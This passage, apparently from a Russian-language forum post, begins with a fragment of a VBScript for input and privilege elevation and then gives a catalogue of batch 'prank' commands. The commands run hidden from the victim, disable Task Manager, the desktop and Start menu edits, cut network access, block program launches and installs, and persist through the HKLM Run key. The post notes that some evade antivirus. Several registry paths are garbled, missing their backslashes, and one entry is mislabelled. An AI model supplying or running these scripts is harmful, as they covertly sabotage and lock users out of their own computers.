"<P><INPUT TYPE=""hidden"" ID=""OK"" " & "NAME=""OK"" VALUE=""0"">"& _
"<INPUT TYPE=""submit"" VALUE="" OK "" " & "OnClick=""vbscript:OK.Value=1""></P>"
strComputer = "."
strLogin = ""
strPassword = ""
IE.visible = True
Do While IE.Document.All.OK.Value = 0
WScript.Sleep 200
Loop
If IE.Document.All.Computer.Value = "" then
strComputer = "."
else
strComputer = IE.Document.All.Computer.Value
If IE.Document.All.Login.Value <> "" then
strLogin = IE.Document.All.Login.Value
strPassword = IE.Document.All.Password.Value
else
strLogin = ""
strPassword = ""
end If
end If
IE.Quit
Set IE = Nothing
End Function
Sub Elevate(msg)
Const DQ = """"
if msgbox(msg & vblf & "Запустить с Административными привилегиями ?", vbQuestion + vbYesNo,"Подтверждение") = vbNo then WScript.Quit 5
Dim oShellApp: Set oShellApp = CreateObject("Shell.Application")
' Конкатенация аргументов
Dim args, i: For i = 1 to WScript.Arguments.Count
args = args & DQ & WScript.Arguments(i - 1) & DQ & " "
Next
if len(args) = 0 then args = DQ & syscure & DQ & " " & DQ & syscheck & DQ
oShellApp.ShellExecute WScript.FullName, DQ & WScript.ScriptFullName & DQ & " " & args, "", "runas", 1
set oShellApp = Nothing
End Sub
Function isAdminRights()
Const KQV = &H1, KSV = &H2, HKCU = &H80000001, HKLM = &H80000002
Set oReg = GetObject("winmgmts:rootdefault:StdRegProv")
strKey = "SystemCurrentControlSetControlSession Manager"
intErrNum = oReg.CheckAccess(HKLM, strKey, KQV + KSV, flagAccess)
isAdminRights = flagAccess
Set oReg = Nothing
End Function
Некоторые bat-ники выполняют свою роль без каких-либо дополнительных действий, некоторые —
требуют прав администратора
при запуске, некоторые —
перезагрузку для применения изменений
. Также
не все они невидимы для антивируса
, некоторые — да, некоторые — нет.
Внизу буду указывать два параметра «(перезагрузка, админ)». Это означает, что для вступления изменений в силу нужно, чтобы bat запускался от имени администратора и, чтобы пользователь перезагрузил ПК.
Как запускать bat-ники максимально незаметно (без мелькания cmd)
Если нужно, чтобы bat-ник запускался максимально незаметно и не смущал пользователя появившейся командной строкой (на небольшое время, но это окно промелькнет), то самым простым решением будет данный vbs скрипт (скопировать в блокнот и сохранить как «Все файлы» с указание расширения vbs):
Код:
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "путь к bat-файлу", 0, false
Этот скрипт запустит bat-ник, который расположен по указанному пути.
Также не стоит забывать прописывать в начале каждого bat-ника:
Меняем местами значение кнопок мыши
Код:
@Echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
Выключение
Код:
shutdown /p (немедленное выключение)
shutdown.exe -s -t 45 (выключение с задержкой, после -t время в секундах)
А если немного улучшить этот bat и добавить его в автозагрузку (команда есть ниже), то получится нечто веселое.
Перезагрузка
Отключение редактирования меню Пуск
Код:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoChangeStartMenu /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)
Отключение рабочего стола
Код:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)
Отключаем интернет
Код:
Ipconfig /release
Чтобы вернуть назад прописываем в cmd: IPconfig /renew
Меняем расширение всех ярлыков на txt
Добавление файла в автозагрузку
Код:
copy ""%0"" "путь к файлу"
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "имя в реестре(любое)" /t REG_SZ /d "путь к файлу" /f
Пример:
Код:
copy ""%0"" "C:UsersuserDesktopre.bat"
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Filel" /t REG_SZ /d "C:UsersuserDesktopre.bat" /f
(перезагрузка, админ)
Отключение диспетчера задач
Код:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)
Запрещаем запуск программ
Добавляйте свои по желанию
Код:
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "2" /t reg_sz /d "exe-шник программы" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f
Например, чтобы запретить запуск Chrome:
Код:
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "3" /t reg_sz /d "chrome.exe" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)
Запрещаем установку программ
Код:
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "1" /t reg_sz /d "msiexec.exe" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)
Убираем панель управления
Код:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
(перезагрузка, админ)
Отключить автозагрузку USB-устройств, приводов, съемных дисков, сетевых дисков
Код:
reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer /v "NoDriveTypeAutoRun" /t REG_DWORD /d " 0xFF" /f
(перезагрузка, админ)